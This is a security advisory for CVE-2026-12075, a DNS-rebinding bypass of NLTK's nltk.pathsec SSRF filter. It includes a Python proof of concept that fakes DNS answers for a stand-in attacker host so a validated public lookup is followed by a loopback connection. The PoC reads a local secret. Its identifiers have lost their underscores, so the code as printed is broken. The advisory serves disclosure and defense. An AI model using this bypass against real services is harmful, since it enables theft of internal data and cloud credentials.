PT-2026-66888 · Pypi · Nltk

CVE-2026-12075

·

Published

2026-07-31

·

Updated

2026-07-31

CVSS v3.1

8.6

High

VectorAV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Summary

nltk.pathsec provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict ENFORCE mode for security-sensitive environments. The filter is bypassable by DNS rebinding: validate network url() resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under nltk.pathsec.ENFORCE = True.

Details

urlopen() validates, then hands the raw hostname to urllib, which performs a second name resolution deep in the connection layer (http.client.HTTPConnection.connect → socket.create connection → socket.getaddrinfo). The validation-side and connection-side resolutions are fully independent code paths with independent caches:
  1. validate network url() calls resolve hostname(parsed.hostname) and checks each returned IP against loopback/link-local/multicast/private, blocking under ENFORCE. (Resolution #1.)
  2. urlopen() then calls build opener(...).open(url) with the original URL (raw hostname), so urllib resolves the hostname again at connect time. (Resolution #2 — the address actually connected to.)
resolve hostname is decorated with lru cache and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's getaddrinfo does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not.

PoC

python
import socket
import threading
import warnings
from collections import defaultdict
from http.server import BaseHTTPRequestHandler, HTTPServer

warnings.filterwarnings("ignore")

import nltk
import nltk.pathsec as ps

ps.ENFORCE = True # the documented strict SSRF sandbox

ATTACKER HOST = "rebind.attacker.test"  # attacker-controlled authoritative DNS
PUBLIC IP = "93.184.216.34"       # public address served for the validation lookup
SECRET = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS"


# --- A loopback-only "internal service" (stands in for 169.254.169.254 / admin UI) ---
class Handler(BaseHTTPRequestHandler):
  def do GET(self):
    self.send response(200)
    self.send header("Content-Type", "text/plain")
    self.send header("Content-Length", str(len(SECRET)))
    self.end headers()
    self.wfile.write(SECRET)

  def log message(self, *a):
    pass


def start internal server():
  srv = HTTPServer(("127.0.0.1", 0), Handler)
  threading.Thread(target=srv.serve forever, daemon=True).start()
  return srv.server address[1] # ephemeral port


# --- Model the TTL-0 rebinding record at the resolver layer ---
 real getaddrinfo = socket.getaddrinfo
 lookups = defaultdict(int)


def rebinding getaddrinfo(host, port, *args, **kwargs):
  if host == ATTACKER HOST:
    n = lookups[host]
     lookups[host] += 1
    ip = PUBLIC IP if n == 0 else "127.0.0.1"  # 1st=public (validate), then loopback (connect)
    p = port if isinstance(port, int) else 0
    kind = "VALIDATION -> public" if n == 0 else "CONNECT  -> loopback"
    print(f"  [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})")
    return [(socket.AF INET, socket.SOCK STREAM, socket.IPPROTO TCP, "", (ip, p))]
  return real getaddrinfo(host, port, *args, **kwargs)


def fetch(url):
  with ps.urlopen(url, timeout=5) as r:
    return r.read()


def main():
  print("=" * 62)
  print(f" NLTK pathsec DNS-rebinding SSRF bypass PoC")
  print(f" nltk {nltk. version }  |  nltk.pathsec.ENFORCE = {ps.ENFORCE}")
  print("=" * 62)

  port = start internal server()
  print(f"[*] internal loopback service: http://127.0.0.1:{port}/ (returns secret)
")

  socket.getaddrinfo = rebinding getaddrinfo
  ps. resolve hostname.cache clear() # fresh validation cache, as on a real process
  try:
    # ---- Control: a DIRECT loopback URL must be blocked by the filter ----
    print("[1] CONTROL: direct loopback URL (filter must block this)")
    direct = f"http://127.0.0.1:{port}/"
    try:
      fetch(direct)
      print(f"  [?] unexpected: {direct} was NOT blocked
")
      control ok = False
    except PermissionError as e:
      print(f"  [OK] blocked -> PermissionError: {e}
")
      control ok = True

    # ---- Attack: rebinding hostname bypasses the same filter ----
    print("[2] ATTACK: rebinding hostname (public at validate, loopback at connect)")
    evil = f"http://{ATTACKER HOST}:{port}/"
    print(f"  fetching {evil}")
    try:
      body = fetch(evil)
      leaked = SECRET in body
      print(f"  body returned to caller: {body!r}")
      if leaked:
        print("
 [VULN] loopback-only secret exfiltrated through pathsec.urlopen")
        print(f"     validated IP = {PUBLIC IP} (public) but connected IP = 127.0.0.1")
        print(f"     non-blind SSRF despite ENFORCE = {ps.ENFORCE}")
        verdict = "VULNERABLE"
      else:
        print("
 [?] fetch succeeded but secret marker not present")
        verdict = "INCONCLUSIVE"
    except PermissionError as e:
      # Patched build: validate against the connect-time IP (or pin/resolve-once).
      print(f"
 [SAFE] blocked -> PermissionError: {e}")
      verdict = "NOT VULNERABLE"
  finally:
    socket.getaddrinfo = real getaddrinfo

  print("
" + "=" * 62)
  print(f" Control (direct loopback blocked): {control ok}")
  print(f" Result: {verdict}  (ENFORCE = {ps.ENFORCE})")
  print("=" * 62)


if  name  == " main ":
  main()

Impact

  • Full-response (non-blind) SSRF. Because the fetched body is returned to the caller (e.g. nltk.data.load with format="raw"), an attacker can read responses from internal-only HTTP services, loopback admin interfaces, and — most seriously — the cloud instance metadata service, which on major cloud providers can expose IAM/service credentials and lead to cloud account compromise.
  • Bypass of an explicit security control. It defeats the nltk.pathsec SSRF filter, including the ENFORCE mode that NLTK's documentation recommends precisely for environments where untrusted input may reach NLTK. Deployments that adopted that boundary are not actually protected, and the lru cache annotation claiming to mitigate rebinding makes the false assurance worse.

Fix

SSRF

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-918

Related Identifiers

CVE-2026-12075
GHSA-QVV7-CG9C-W4X3

Affected Products

Nltk